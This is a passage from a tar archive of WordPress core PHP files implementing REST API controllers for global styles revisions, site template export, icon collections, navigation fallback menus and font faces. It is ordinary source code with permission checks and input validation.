$this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)', array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the global styles revision.' ), 'type' => 'integer', ), 'id' => array( 'description' => __( 'Unique identifier for the global styles revision.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Returns decoded JSON from post content string, * or a 404 if not found. * * @since 6.3.0 * * @param string $raw_json Encoded JSON from global styles custom post content. * @return Array|WP_Error */ protected function get_decoded_global_styles_json( $raw_json ) { $decoded_json = json_decode( $raw_json, true ); if ( is_array( $decoded_json ) && isset( $decoded_json['isGlobalStylesUserThemeJSON'] ) && true === $decoded_json['isGlobalStylesUserThemeJSON'] ) { return $decoded_json; } return new WP_Error( 'rest_global_styles_not_found', __( 'Cannot find user global styles revisions.' ), array( 'status' => 404 ) ); } /** * Returns paginated revisions of the given global styles config custom post type. * * The bulk of the body is taken from WP_REST_Revisions_Controller->get_items, * but global styles does not require as many parameters. * * @since 6.3.0 * * @param WP_REST_Request $request The request instance. * @return WP_REST_Response|WP_Error */ public function get_items( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } $global_styles_config = $this->get_decoded_global_styles_json( $parent->post_content ); if ( is_wp_error( $global_styles_config ) ) { return $global_styles_config; } $is_head_request = $request->is_method( 'HEAD' ); if ( wp_revisions_enabled( $parent ) ) { $registered = $this->get_collection_params(); $query_args = array( 'post_parent' => $parent->ID, 'post_type' => 'revision', 'post_status' => 'inherit', 'posts_per_page' => -1, 'orderby' => 'date ID', 'order' => 'DESC', ); $parameter_mappings = array( 'offset' => 'offset', 'page' => 'paged', 'per_page' => 'posts_per_page', ); foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $query_args[ $wp_param ] = $request[ $api_param ]; } } if ( $is_head_request ) { // Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination. $query_args['fields'] = 'ids'; // Disable priming post meta for HEAD requests to improve performance. $query_args['update_post_term_cache'] = false; $query_args['update_post_meta_cache'] = false; } $revisions_query = new WP_Query(); $revisions = $revisions_query->query( $query_args ); $offset = isset( $query_args['offset'] ) ? (int) $query_args['offset'] : 0; $page = isset( $query_args['paged'] ) ? (int) $query_args['paged'] : 0; $total_revisions = $revisions_query->found_posts; if ( $total_revisions < 1 ) { // Out-of-bounds, run the query without pagination/offset to get the total count. unset( $query_args['paged'], $query_args['offset'] ); $count_query = new WP_Query(); $query_args['fields'] = 'ids'; $query_args['posts_per_page'] = 1; $query_args['update_post_meta_cache'] = false; $query_args['update_post_term_cache'] = false; $count_query->query( $query_args ); $total_revisions = $count_query->found_posts; } if ( $revisions_query->query_vars['posts_per_page'] > 0 ) { $max_pages = (int) ceil( $total_revisions / (int) $revisions_query->query_vars['posts_per_page'] ); } else { $max_pages = $total_revisions > 0 ? 1 : 0; } if ( $total_revisions > 0 ) { if ( $offset >= $total_revisions ) { return new WP_Error( 'rest_revision_invalid_offset_number', __( 'The offset number requested is larger than or equal to the number of available revisions.' ), array( 'status' => 400 ) ); } elseif ( ! $offset && $page > $max_pages ) { return new WP_Error( 'rest_revision_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) ); } } } else { $revisions = array(); $total_revisions = 0; $max_pages = 0; $page = (int) $request['page']; } if ( ! $is_head_request ) { $response = array(); foreach ( $revisions as $revision ) { $data = $this->prepare_item_for_response( $revision, $request ); $response[] = $this->prepare_response_for_collection( $data ); } $response = rest_ensure_response( $response ); } else { $response = new WP_REST_Response( array() ); } $response->header( 'X-WP-Total', (int) $total_revisions ); $response->header( 'X-WP-TotalPages', (int) $max_pages ); $request_params = $request->get_query_params(); $base_path = rest_url( sprintf( '%s/%s/%d/%s', $this->namespace, $this->parent_base, $request['parent'], $this->rest_base ) ); $base = add_query_arg( urlencode_deep( $request_params ), $base_path ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Prepares the revision for the REST response. * * @since 6.3.0 * @since 6.6.0 Added resolved URI links to the response. * * @param WP_Post $post Post revision object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object. */ public function prepare_item_for_response( $post, $request ) { // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { return new WP_REST_Response( array() ); } $parent = $this->get_parent( $request['parent'] ); $global_styles_config = $this->get_decoded_global_styles_json( $post->post_content ); if ( is_wp_error( $global_styles_config ) ) { return $global_styles_config; } $fields = $this->get_fields_for_response( $request ); $data = array(); $theme_json = null; if ( ! empty( $global_styles_config['styles'] ) || ! empty( $global_styles_config['settings'] ) ) { /* * Register block style variations from the theme data. * This is required so the variations pass sanitization of theme.json data. */ if ( ! empty( $global_styles_config['styles']['blocks'] ) ) { $variations = WP_Theme_JSON_Resolver::get_style_variations( 'block' ); wp_register_block_style_variations_from_theme_json_partials( $variations ); } $theme_json = new WP_Theme_JSON( $global_styles_config, 'custom' ); $global_styles_config = $theme_json->get_raw_data(); if ( rest_is_field_included( 'settings', $fields ) ) { $data['settings'] = ! empty( $global_styles_config['settings'] ) ? $global_styles_config['settings'] : new stdClass(); } if ( rest_is_field_included( 'styles', $fields ) ) { $data['styles'] = ! empty( $global_styles_config['styles'] ) ? $global_styles_config['styles'] : new stdClass(); } } if ( rest_is_field_included( 'author', $fields ) ) { $data['author'] = (int) $post->post_author; } if ( rest_is_field_included( 'date', $fields ) ) { $data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date ); } if ( rest_is_field_included( 'date_gmt', $fields ) ) { $data['date_gmt'] = $this->prepare_date_response( $post->post_date_gmt ); } if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = (int) $post->ID; } if ( rest_is_field_included( 'modified', $fields ) ) { $data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified ); } if ( rest_is_field_included( 'modified_gmt', $fields ) ) { $data['modified_gmt'] = $this->prepare_date_response( $post->post_modified_gmt ); } if ( rest_is_field_included( 'parent', $fields ) ) { $data['parent'] = (int) $parent->ID; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $theme_json ); if ( ! empty( $resolved_theme_uris ) ) { $response->add_links( array( 'https://api.w.org/theme-file' => $resolved_theme_uris, ) ); } return $response; } /** * Retrieves the revision's schema, conforming to JSON Schema. * * @since 6.3.0 * @since 6.6.0 Merged parent and parent controller schema data. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = parent::get_item_schema(); $parent_schema = $this->parent_controller->get_item_schema(); $schema['properties'] = array_merge( $schema['properties'], $parent_schema['properties'] ); unset( $schema['properties']['guid'], $schema['properties']['slug'], $schema['properties']['meta'], $schema['properties']['content'], $schema['properties']['title'] ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * Removes params that are not supported by global styles revisions. * * @since 6.6.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); unset( $query_params['exclude'], $query_params['include'], $query_params['search'], $query_params['order'], $query_params['orderby'] ); return $query_params; } } �����������������class-wp-rest-edit-site-export-controller.php�������������������������������������������������������0000644�����������������00000004076�15250636727�0015372 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Edit_Site_Export_Controller class * * @package WordPress * @subpackage REST_API */ /** * Controller which provides REST endpoint for exporting current templates * and template parts. * * @since 5.9.0 * * @see WP_REST_Controller */ class WP_REST_Edit_Site_Export_Controller extends WP_REST_Controller { /** * Constructor. * * @since 5.9.0 */ public function __construct() { $this->namespace = 'wp-block-editor/v1'; $this->rest_base = 'export'; } /** * Registers the site export route. * * @since 5.9.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'export' ), 'permission_callback' => array( $this, 'permissions_check' ), ), ) ); } /** * Checks whether a given request has permission to export. * * @since 5.9.0 * * @return true|WP_Error True if the request has access, or WP_Error object. */ public function permissions_check() { if ( current_user_can( 'export' ) ) { return true; } return new WP_Error( 'rest_cannot_export_templates', __( 'Sorry, you are not allowed to export templates and template parts.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Output a ZIP file with an export of the current templates * and template parts from the site editor, and close the connection. * * @since 5.9.0 * * @return void|WP_Error */ public function export() { // Generate the export file. $filename = wp_generate_block_templates_export_file(); if ( is_wp_error( $filename ) ) { $filename->add_data( array( 'status' => 500 ) ); return $filename; } $theme_name = basename( get_stylesheet() ); header( 'Content-Type: application/zip' ); header( 'Content-Disposition: attachment; filename=' . $theme_name . '.zip' ); header( 'Content-Length: ' . filesize( $filename ) ); flush(); readfile( $filename ); unlink( $filename ); exit; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-rest-icon-collections-controller.php�������������������������������������������������������0000644�����������������00000016570�15250636727�0015432 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Icon_Collections_Controller class * * @package WordPress * @subpackage REST_API * @since 7.1.0 */ /** * Controller which provides a REST endpoint for the editor to read registered * icon collections. * * @since 7.1.0 * * @see WP_REST_Controller */ class WP_REST_Icon_Collections_Controller extends WP_REST_Controller { /** * Constructs the controller. * * @since 7.1.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'icon-collections'; } /** * Registers the routes for the objects of the controller. * * @since 7.1.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<slug>[a-z0-9](?:[a-z0-9_-]*[a-z0-9])?)', array( 'args' => array( 'slug' => array( 'description' => __( 'Icon collection slug.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read icon collections. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view the registered icon collections.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Checks if a given request has access to read a specific icon collection. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $check = $this->get_items_permissions_check( $request ); if ( is_wp_error( $check ) ) { return $check; } return true; } /** * Retrieves all icon collections. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $response = array(); $collections = WP_Icon_Collections_Registry::get_instance()->get_all_registered(); foreach ( $collections as $collection ) { $prepared_collection = $this->prepare_item_for_response( $collection, $request ); $response[] = $this->prepare_response_for_collection( $prepared_collection ); } return rest_ensure_response( $response ); } /** * Retrieves a specific icon collection. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $collection = $this->get_icon_collection( $request['slug'] ); if ( is_wp_error( $collection ) ) { return $collection; } $data = $this->prepare_item_for_response( $collection, $request ); return rest_ensure_response( $data ); } /** * Retrieves a specific icon collection from the registry. * * @since 7.1.0 * * @param string $slug Icon collection slug. * @return array|WP_Error Icon collection data on success, or WP_Error object on failure. */ public function get_icon_collection( $slug ) { $registry = WP_Icon_Collections_Registry::get_instance(); $collection = $registry->get_registered( $slug ); if ( null === $collection ) { return new WP_Error( 'rest_icon_collection_not_found', sprintf( /* translators: %s: Icon collection slug. */ __( 'Icon collection not found: "%s".' ), $slug ), array( 'status' => 404 ) ); } return $collection; } /** * Prepares a raw icon collection before it gets output in a REST API response. * * @since 7.1.0 * * @param array $item Raw icon collection as registered, before any changes. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $keys = array( 'slug' => 'slug', 'label' => 'label', 'description' => 'description', ); $data = array(); foreach ( $keys as $item_key => $rest_key ) { if ( isset( $item[ $item_key ] ) && rest_is_field_included( $rest_key, $fields ) ) { $data[ $rest_key ] = $item[ $item_key ]; } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); return rest_ensure_response( $data ); } /** * Retrieves the icon collection schema, conforming to JSON Schema. * * @since 7.1.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'icon-collection', 'type' => 'object', 'properties' => array( 'slug' => array( 'description' => __( 'The icon collection slug.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'label' => array( 'description' => __( 'The icon collection label.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'description' => array( 'description' => __( 'The icon collection description.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for the icon collections collection. * * @since 7.1.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; return $query_params; } } ����������������������������������������������������������������������������������������������������������������������������������������class-wp-rest-navigation-fallback-controller.php����������������������������������������������������0000644�����������������00000012063�15250636727�0016053 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WP_REST_Navigation_Fallback_Controller class * * REST Controller to create/fetch a fallback Navigation Menu. * * @package WordPress * @subpackage REST_API * @since 6.3.0 */ /** * REST Controller to fetch a fallback Navigation Block Menu. If needed it creates one. * * @since 6.3.0 */ class WP_REST_Navigation_Fallback_Controller extends WP_REST_Controller { /** * The Post Type for the Controller * * @since 6.3.0 * * @var string */ private $post_type; /** * Constructs the controller. * * @since 6.3.0 */ public function __construct() { $this->namespace = 'wp-block-editor/v1'; $this->rest_base = 'navigation-fallback'; $this->post_type = 'wp_navigation'; } /** * Registers the controllers routes. * * @since 6.3.0 */ public function register_routes() { // Lists a single nav item based on the given id or slug. register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::READABLE ), ), 'schema' => array( $this, 'get_item_schema' ), ) ); } /** * Checks if a given request has access to read fallbacks. * * @since 6.3.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $post_type = get_post_type_object( $this->post_type ); // Getting fallbacks requires creating and reading `wp_navigation` posts. if ( ! current_user_can( $post_type->cap->create_posts ) || ! current_user_can( 'edit_theme_options' ) || ! current_user_can( 'edit_posts' ) ) { return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to create Navigation Menus as this user.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit Navigation Menus as this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Gets the most appropriate fallback Navigation Menu. * * @since 6.3.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $post = WP_Navigation_Fallback::get_fallback(); if ( empty( $post ) ) { return rest_ensure_response( new WP_Error( 'no_fallback_menu', __( 'No fallback menu found.' ), array( 'status' => 404 ) ) ); } $response = $this->prepare_item_for_response( $post, $request ); return $response; } /** * Retrieves the fallbacks' schema, conforming to JSON Schema. * * @since 6.3.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'navigation-fallback', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'The unique identifier for the Navigation Menu.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Matches the post data to the schema we want. * * @since 6.3.0 * * @param WP_Post $item The wp_navigation Post object whose response is being prepared. * @param WP_REST_Request $request Request object. * @return WP_REST_Response $response The response data. */ public function prepare_item_for_response( $item, $request ) { $data = array(); $fields = $this->get_fields_for_response( $request ); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = (int) $item->ID; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $item ); $response->add_links( $links ); } return $response; } /** * Prepares the links for the request. * * @since 6.3.0 * * @param WP_Post $post the Navigation Menu post object. * @return array Links for the given request. */ private function prepare_links( $post ) { return array( 'self' => array( 'href' => rest_url( rest_get_route_for_post( $post->ID ) ), 'embeddable' => true, ), ); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-rest-font-faces-controller.php�������������������������������������������������������������0000644�����������������00000072636�15250636727�0014220 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Font_Faces_Controller class * * @package WordPress * @subpackage REST_API * @since 6.5.0 */ /** * Class to access font faces through the REST API. */ class WP_REST_Font_Faces_Controller extends WP_REST_Posts_Controller { /** * The latest version of theme.json schema supported by the controller. * * @since 6.5.0 * @var int */ const LATEST_THEME_JSON_VERSION_SUPPORTED = 3; /** * Whether the controller supports batching. * * @since 6.5.0 * @var false */ protected $allow_batch = false; /** * Registers the routes for posts. * * @since 6.5.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( 'args' => array( 'font_family_id' => array( 'description' => __( 'The ID for the parent font family of the font face.' ), 'type' => 'integer', 'required' => true, ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_create_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)', array( 'args' => array( 'font_family_id' => array( 'description' => __( 'The ID for the parent font family of the font face.' ), 'type' => 'integer', 'required' => true, ), 'id' => array( 'description' => __( 'Unique identifier for the font face.' ), 'type' => 'integer', 'required' => true, ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Whether to bypass Trash and force deletion.', 'default' ), ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to font faces. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $post_type = get_post_type_object( $this->post_type ); if ( ! current_user_can( $post_type->cap->read ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to access font faces.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Checks if a given request has access to a font face. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( ! current_user_can( 'read_post', $post->ID ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to access this font face.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Validates settings when creating a font face. * * @since 6.5.0 * * @param string $value Encoded JSON string of font face settings. * @param WP_REST_Request $request Request object. * @return true|WP_Error True if the settings are valid, otherwise a WP_Error object. */ public function validate_create_font_face_settings( $value, $request ) { // Enforce JSON Schema validity for field before applying custom validation logic. $args = $this->get_create_params(); $validity = rest_validate_value_from_schema( $value, $args['font_face_settings'], 'font_face_settings' ); if ( is_wp_error( $validity ) ) { return $validity; } $settings = json_decode( $value, true ); // Check settings string is valid JSON. if ( null === $settings ) { return new WP_Error( 'rest_invalid_param', __( 'font_face_settings parameter must be a valid JSON string.' ), array( 'status' => 400 ) ); } // Check that the font face settings match the theme.json schema. $schema = $this->get_item_schema()['properties']['font_face_settings']; $has_valid_settings = rest_validate_value_from_schema( $settings, $schema, 'font_face_settings' ); if ( is_wp_error( $has_valid_settings ) ) { $has_valid_settings->add_data( array( 'status' => 400 ) ); return $has_valid_settings; } // Check that none of the required settings are empty values. $required = $schema['required']; foreach ( $required as $key ) { if ( isset( $settings[ $key ] ) && ! $settings[ $key ] ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: Name of the missing font face settings parameter, e.g. "font_face_settings[src]". */ sprintf( __( '%s cannot be empty.' ), "font_face_setting[ $key ]" ), array( 'status' => 400 ) ); } } $srcs = is_array( $settings['src'] ) ? $settings['src'] : array( $settings['src'] ); $files = $request->get_file_params(); foreach ( $srcs as $src ) { // Check that each src is a non-empty string. $src = ltrim( $src ); if ( empty( $src ) ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: Font face source parameter name: "font_face_settings[src]". */ sprintf( __( '%s values must be non-empty strings.' ), 'font_face_settings[src]' ), array( 'status' => 400 ) ); } // Check that srcs are valid URLs or file references. if ( false === wp_http_validate_url( $src ) && ! isset( $files[ $src ] ) ) { return new WP_Error( 'rest_invalid_param', /* translators: 1: Font face source parameter name: "font_face_settings[src]", 2: The invalid src value. */ sprintf( __( '%1$s value "%2$s" must be a valid URL or file reference.' ), 'font_face_settings[src]', $src ), array( 'status' => 400 ) ); } } // Check that each file in the request references a src in the settings. foreach ( array_keys( $files ) as $file ) { if ( ! in_array( $file, $srcs, true ) ) { return new WP_Error( 'rest_invalid_param', /* translators: 1: File key (e.g. "file-0") in the request data, 2: Font face source parameter name: "font_face_settings[src]". */ sprintf( __( 'File %1$s must be used in %2$s.' ), $file, 'font_face_settings[src]' ), array( 'status' => 400 ) ); } } return true; } /** * Sanitizes the font face settings when creating a font face. * * @since 6.5.0 * * @param string $value Encoded JSON string of font face settings. * @return array Decoded and sanitized array of font face settings. */ public function sanitize_font_face_settings( $value ) { // Settings arrive as stringified JSON, since this is a multipart/form-data request. $settings = json_decode( $value, true ); $schema = $this->get_item_schema()['properties']['font_face_settings']['properties']; // Sanitize settings based on callbacks in the schema. foreach ( $settings as $key => $value ) { $sanitize_callback = $schema[ $key ]['arg_options']['sanitize_callback']; $settings[ $key ] = call_user_func( $sanitize_callback, $value ); } return $settings; } /** * Retrieves a collection of font faces within the parent font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $font_family = $this->get_parent_font_family_post( $request['font_family_id'] ); if ( is_wp_error( $font_family ) ) { return $font_family; } return parent::get_items( $request ); } /** * Retrieves a single font face within the parent font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } // Check that the font face has a valid parent font family. $font_family = $this->get_parent_font_family_post( $request['font_family_id'] ); if ( is_wp_error( $font_family ) ) { return $font_family; } if ( (int) $font_family->ID !== (int) $post->post_parent ) { return new WP_Error( 'rest_font_face_parent_id_mismatch', /* translators: %d: A post id. */ sprintf( __( 'The font face does not belong to the specified font family with id of "%d".' ), $font_family->ID ), array( 'status' => 404 ) ); } return parent::get_item( $request ); } /** * Creates a font face for the parent font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { $font_family = $this->get_parent_font_family_post( $request['font_family_id'] ); if ( is_wp_error( $font_family ) ) { return $font_family; } // Settings have already been decoded by ::sanitize_font_face_settings(). $settings = $request->get_param( 'font_face_settings' ); $file_params = $request->get_file_params(); // Check that the necessary font face properties are unique. $query = new WP_Query( array( 'post_type' => $this->post_type, 'posts_per_page' => 1, 'title' => WP_Font_Utils::get_font_face_slug( $settings ), 'update_post_meta_cache' => false, 'update_post_term_cache' => false, ) ); if ( ! empty( $query->posts ) ) { return new WP_Error( 'rest_duplicate_font_face', __( 'A font face matching those settings already exists.' ), array( 'status' => 400 ) ); } // Move the uploaded font asset from the temp folder to the fonts directory. if ( ! function_exists( 'wp_handle_upload' ) ) { require_once ABSPATH . 'wp-admin/includes/file.php'; } $srcs = is_string( $settings['src'] ) ? array( $settings['src'] ) : $settings['src']; $processed_srcs = array(); $font_file_meta = array(); foreach ( $srcs as $src ) { // If src not a file reference, use it as is. if ( ! isset( $file_params[ $src ] ) ) { $processed_srcs[] = $src; continue; } $file = $file_params[ $src ]; $font_file = $this->handle_font_file_upload( $file ); if ( is_wp_error( $font_file ) ) { return $font_file; } $processed_srcs[] = $font_file['url']; $font_file_meta[] = $this->relative_fonts_path( $font_file['file'] ); } // Store the updated settings for prepare_item_for_database to use. $settings['src'] = count( $processed_srcs ) === 1 ? $processed_srcs[0] : $processed_srcs; $request->set_param( 'font_face_settings', $settings ); // Ensure that $settings data is slashed, so values with quotes are escaped. // WP_REST_Posts_Controller::create_item uses wp_slash() on the post_content. $font_face_post = parent::create_item( $request ); if ( is_wp_error( $font_face_post ) ) { return $font_face_post; } $font_face_id = $font_face_post->data['id']; foreach ( $font_file_meta as $font_file_path ) { add_post_meta( $font_face_id, '_wp_font_face_file', $font_file_path ); } return $font_face_post; } /** * Deletes a single font face. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } $font_family = $this->get_parent_font_family_post( $request['font_family_id'] ); if ( is_wp_error( $font_family ) ) { return $font_family; } if ( (int) $font_family->ID !== (int) $post->post_parent ) { return new WP_Error( 'rest_font_face_parent_id_mismatch', /* translators: %d: A post id. */ sprintf( __( 'The font face does not belong to the specified font family with id of "%d".' ), $font_family->ID ), array( 'status' => 404 ) ); } $force = isset( $request['force'] ) ? (bool) $request['force'] : false; // We don't support trashing for font faces. if ( ! $force ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( 'Font faces do not support trashing. Set "%s" to delete.' ), 'force=true' ), array( 'status' => 501 ) ); } return parent::delete_item( $request ); } /** * Prepares a single font face output for response. * * @since 6.5.0 * * @param WP_Post $item Post object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $item->ID; } if ( 